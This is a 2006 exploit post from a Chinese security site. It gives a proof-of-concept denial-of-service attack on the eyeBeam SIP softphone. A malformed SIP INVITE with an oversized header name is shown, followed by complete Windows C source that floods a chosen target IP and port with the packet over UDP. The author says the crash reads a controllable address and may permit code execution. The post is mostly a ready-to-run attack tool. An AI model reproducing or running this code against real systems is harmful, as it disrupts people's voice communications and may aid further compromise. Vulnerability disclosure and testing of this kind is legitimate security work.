首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
eyeBeam handling SIP header DOS POC
来源:http://www.donews.net/zwell 作者:ZwelL 发布时间:2006-01-23  

eyeBeam is a SIP softphone supporting open standards for VoIP, Video and Instant Messaging.
There is a vunerability in it while handing SIP header with a large field name like this:

INVITE sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:5060;branch=z9hG4bK00001249z9hG4bK.00004119
From: 1249 <sip:a@127.0.0.1>;tag=1249
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: Receiver <sip:100012@172.16.1.1>
Call-ID: 4166@<172.16.3.6> <--Change it to target IP
CSeq: 18571 INVITE
Expires: 1200
Max-Forwards: 70
Content-Type: application/sdp
Content-Length: 130

v=0
o=1249 1249 1249 IN IP4 127.0.0.1
s=Session SDP
c=IN IP4 127.0.0.1
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000

If you send the packet(several times) to eyeBeam when it's starting and have no call opreation,
then it will crashed for reading a unvalid address which we can control.
If you send it(several times) when it's in a call, then it will be unresponse(will not dial and receive any more) or crashed for writing a address(cannot control it now, but it's possible, and as I think, it can lead to execute code).
It looks like some memory operation error exists.

Addtion : the lastest version is affected.

====================eyeBeam_dos.c========================

/*********************************************************
eyeBeam handling SIP header DOS POC
Author : ZwelL
Email : zwell@sohu.com
Blog : http://www.donews.net/zwell
Data : 2006.1.15
*********************************************************/

#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

char *sendbuf1 =
"INVITE sip:a@127.0.0.1 SIP/2.0\r\n"
"Via: SIP/2.0/UDP 127.0.0.1:5060;branch=z9hG4bK00001249z9hG4bK.00004119\r\n"
"From: test <sip:a@127.0.0.1>;tag=1249\r\n"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaa: test <sip:a@127.0.0.1>\r\n";

char *sendbuf2 =
"CSeq: 18571 INVITE\r\n"
"Expires: 1200\r\n"
"Max-Forwards: 70\r\n"
"Content-Type: application/sdp\r\n"
"Content-Length: 130\r\n"
"\r\n"
"v=0\r\n"
"o=1249 1249 1249 IN IP4 127.0.0.1\r\n"
"s=Session SDP\r\n"
"c=IN IP4 127.0.0.1\r\n"
"t=0 0\r\n"
"m=audio 9876 RTP/AVP 0\r\n"
"a=rtpmap:0 PCMU/8000\r\n";


int main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET sock;
sockaddr_in RecvAddr;
char sendbuf[4096];
int iResult;
int port = 8376; //default is 8376, but SIP's default port is 5060

printf("eyeBeam handling SIP header DOS POC\nAuthor : ZwelL\n");
printf("Email : zwell@sohu.com\nBlog : http://www.donews.net/zwell\n\n");
if(argc < 2)
{
printf("Usage : %s <target ip> [port]\n", argv[0]);
return 0;
}

if(argc == 3)
port = atoi(argv[2]);

iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
{
printf("Error at WSAStartup()\n");
return 0;
}

sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

ZeroMemory(&RecvAddr, sizeof(RecvAddr));
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons((short)port);
RecvAddr.sin_addr.s_addr = inet_addr(argv[1]);

printf("Target is : %s\t port is : %d\r\n", argv[1], port);
for(int i=0; i<20; i++)
{
sprintf(sendbuf, "%sCall-ID: 4166@<%s>\r\n%s", sendbuf1, argv[1], sendbuf2);
if(SOCKET_ERROR == sendto(sock,
sendbuf,
strlen(sendbuf),
0,
(SOCKADDR *) &RecvAddr,
sizeof(RecvAddr)))
{
printf("sendto wrong:%d\n", WSAGetLastError());
continue;
}
}

printf("Now check the target is crafted?\r\n");

WSACleanup();
return 1;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SimpleBlog version 2.1 is susc
·Eterm LibAST Configuration Eng
·VERITAS NetBackup Volume Manag
·SquirrelMail Change Passwd Plu
·Xmame 0.102 (-lang) Local Buff
·imap4d Buffer Overflow
·Farmers WIFE version 4.4 sp1 f
·mIRC Font Buffer Overflow
·HomeFTP versions 1.1 and below
·Cisco Aironet Wireless Access
·Microsoft Windows Metafile (WM
·Oracle Database Server 9i or 1
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved